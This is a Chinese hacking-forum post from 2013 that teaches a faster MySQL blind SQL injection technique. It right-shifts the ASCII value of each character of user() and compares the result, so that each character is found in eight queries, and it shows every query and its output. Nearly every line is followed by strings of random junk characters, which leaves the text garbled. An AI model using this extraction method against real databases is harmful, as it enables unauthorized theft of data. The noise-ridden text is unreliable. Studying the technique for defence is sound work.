找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1924|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
3 ]+ |  h& B: Y# v4 U! ?" I/ f' R+ l9 U+ e2 D7 `

. {& W  B- x. Y9 ]0 ^* L
( y. i/ Q! e& }3 M+ Z下面将以查询mysql数据库当中user()的第一位为例:8 I( q; s& P, F

2 S! t$ _3 H  `* r+ E3 \
& h$ A2 p# x/ [5 y2 E
# J+ T4 e- A; W# s1 O2 \6 D% wps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)* D% X3 h6 h: f5 N
& N' _% y4 S: R, b  C

4 \6 t8 }6 v) v$ N: C1 A/ K- F( y: ?- a8 L2 u4 `- {) e4 B
首先执行如下sql语句:8 D8 r& R: F" j/ p: w

3 c9 W( N$ L1 w & B% V, B( I* h/ j0 d% A- e2 W+ H. E
& }. t/ p' l! B8 C4 |2 ]4 l( j% D
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 Y. {) M( S# H
/ f  i7 q4 f9 R( q : j. j& j7 s* Y8 I4 d

& b! ~. F; L# `1 F, `* m. T7 S  J我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的0 ~2 I  y1 y/ i; g
) ~! R6 ~2 z  S) @# P
8 u: e- d6 {4 N$ \% Y" t, c
4 j$ R8 x) s$ u2 a6 w5 n
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为12 u1 _: P$ K0 U! t. w4 K# p
. Y8 e2 s! n( I* o  Z$ U

, D1 ]0 `0 R/ R
, b" t0 Y9 e8 y& q7 @4 m如果运算结果为1,说明第一位为0,不为1
  S1 y' I* T; B+ j, _: R" O% q+ M5 ~4 }

9 f2 O/ U* C% m1 F( Z
0 m, _; r7 h0 S+————————————–+( \8 H' R  e! g' K1 ]' j9 j
; M' c# f' ^. I8 h1 H3 ~; u  W( P
| (ascii((substr(user(),1,1))) >> 7)=0 |  ?* J! s; q& e

* t5 A1 i% @/ W0 v) \+————————————–+. \; J) D/ Y& b) {  ?) Q! p
" b4 M: `' E/ b$ w# i  M
| 1 |
3 ]% l  P! x' j  v' v7 R: |+ U3 \+ q
+————————————–+
9 V' R1 a. ~' T
1 {* y/ u$ {) P6 d, K) f# _" h1 row in set (0.00 sec)
- v, g9 P/ U& H, l2 X: i8 w' W4 M3 z: m7 ^' D* T
这样我们就确定这个8bit的ascii的第一位为0* h5 o7 h9 T/ ]! o3 d, J& q
% K* _) k  W/ @) N$ C0 g' J
" t$ O, N7 T2 ?' P# M. ^
: P; I! ^* J. Z" y, |
第二次我们来做6次右偏移来确定前两位( B7 s: @0 ]. i: S" R. p  |7 v8 w

8 v! Q8 w8 {8 N3 ?4 a$ u! j; C 8 v6 X" i6 f" Q
% m9 ~8 M# e8 Y) Z9 C
前两位可能是01或00,即依然可以与0做比较,3 w8 t! K' _, V5 E" v" \8 C
7 a! G4 w* w8 h4 d; ]2 t
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;. k' X5 Q7 }2 x2 Q
  M6 n1 v2 S7 h4 m* s/ M" c
+————————————–+) U4 N& W$ H1 U( P! X0 l
( x' _! x  _8 B+ s6 l4 G9 \
| (ascii((substr(user(),1,1))) >> 6)=0 |
; o* t  T. [- H+ }0 M) J+ s2 [0 C: I3 t  w# O- _9 l8 e% z
+————————————–+5 M& E# @1 v$ h
  ?- i* `0 j- `4 M
| 0 |
+ h  b8 g" A  x* P5 p/ v# J2 w2 G5 j# t! |# f
+————————————–+
! p  w* s3 ~( M9 W2 g3 X5 F; z, F' c2 _- f( {! \1 n- R
1 row in set (0.00 sec)6 V: N5 i* Z: }* S2 P

( e: G9 p6 N8 f/ v3 t1 Y8 P. {4 a# D
6 ~* ~% z' e% v
. z: D& k' ?. V) y0 D. l% y5 R结果为0,即第二位为1
0 a2 K0 j8 K* |2 N0 F0 J8 M% n; e1 J! B5 J; _1 E
5 \1 t- o9 z' e- Q* E
# L  w( R7 a- u& Y
开始猜测前三位为010或011: Q) n7 ?4 x* ?9 w

4 n6 C$ g( S* \! t) L  _
2 E4 a( |  d% p9 Q2 O3 Z5 j$ M; m, S. W' d2 Q3 i! V
让我们看看010和011的ascii码是多少9 ~+ P  y$ D2 p4 l

/ G1 }, ^2 i& b ) y  e) L3 `9 b4 ^) }( j  v+ k

' ^4 p- f, a, ?8 x/ Y% u* i& o1 o, [分别查询select b’011′ select b’010′
- d3 g# ]7 T. {+ y, {2 ]% f% Q  Z: X

$ i3 W& }1 }( H6 y" B# U) j
" a7 C* `3 a/ w# y8 b3 o6 i8 _; E获得结果 010 = 2 011 = 30 w" K! ]; [8 O; x9 o+ C' [

! Y9 l7 G1 Q" d; x  g/ g" C$ W
0 o3 u* V! A  e7 h
4 i/ W; u1 H8 D. @1 ~2 y, }, N执行如下sql:- r, M  W( |  K( N
6 r) |9 U# @2 t
/ r, x3 V0 ~. R+ }

  D0 k# m  Q' Z  L% F6 N' emysql> select (ascii((substr(user(),1,1))) >> 5)=2;
; u2 F) `+ d7 A
4 \. Y; s5 C; T' A, A0 {7 l+————————————–+
0 f* ?7 r0 W) D2 v6 B5 z
5 i% U& X) T. w3 K  N- R! \" K| (ascii((substr(user(),1,1))) >> 5)=2 |
; q9 n9 {9 b% L2 t9 L
( k5 o  p5 Z1 L1 f5 s+————————————–+% w$ B  Z; _7 Q. G

- A7 n: F% m! B5 o| 0 |
/ m: g+ w' B/ C1 e$ ~* Q* e) V+ k7 k* E( @
+————————————–+
  P3 Z+ t' W5 s3 t5 p# d* L9 e2 y
7 O. d8 o4 Z7 b7 j即前三位不为010,而是011/ ~: F1 r: h3 Q: ~9 c4 N2 A3 _
- s% i% I, C6 f4 G
6 h" o  m: i( `3 N2 t+ V
7 d' v) a9 W. {" h
直到获得最后一位; [/ F8 s1 ~" Y# H* A( f, K! g8 g

# W6 [  X% ^4 O* m  H
" o" A* e1 X) ]+ `2 C/ e- q; }( S8 a0 ?! p4 M! K% R$ Q
最终结果为:01110010( @7 k' B/ d, s( s
9 Q" V6 ?4 D2 v& Z# ]% g& n
" m- f$ I* e. e/ J& X
* l1 E8 w) ^! `7 K2 S% k
转换一下:! \6 S; L$ P1 V5 x$ P. Y
' i6 y& R3 }& C( ]% G+ g+ M

0 ~9 J- C$ X; W/ J3 ^, q# J# A% B9 d1 q
select b’01110010′/ M9 i  |5 c4 `8 Q; o" \

* [& k* e4 A  D3 X
- B% N9 ~; P1 M! B5 w8 r8 f. X
查询结果
+ D' {* P/ P3 s2 h5 ?& L* K* A% w( W! o

8 g6 T5 j6 `" z# p  h7 u
; o  h- N8 `# L8 _- Z+————-+
- ?# `) M9 f0 [2 o, _
8 Z" f$ a5 C/ S# A5 Y| b’01110010′ |# S4 m& O; k. h

+ j6 A5 e) X+ r+————-+# M4 z, e# r9 d, R3 ]9 G

# W& I) n8 i' H8 S+ L- _6 W| r |
- Z% ~+ {- u( v4 O5 X' \0 u1 j3 \" K) u
+————-+
' Q; t' `! s3 Z( Q7 V9 c, z! g- ]( H1 U1 c
1 row in set (0.00 sec)8 \0 a( Y* W; F3 I, s8 i

" e$ |- v% C; T, D2 B2 @2 b7 X
9 U: l# @2 t: {: [; }& j, x. T( H4 h$ G3 E: J+ t
这样我们就获得了user()的第一位.其它位依此类推' k' A5 O5 K+ ?+ _0 K4 k

& A- Y: T9 O' U" f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表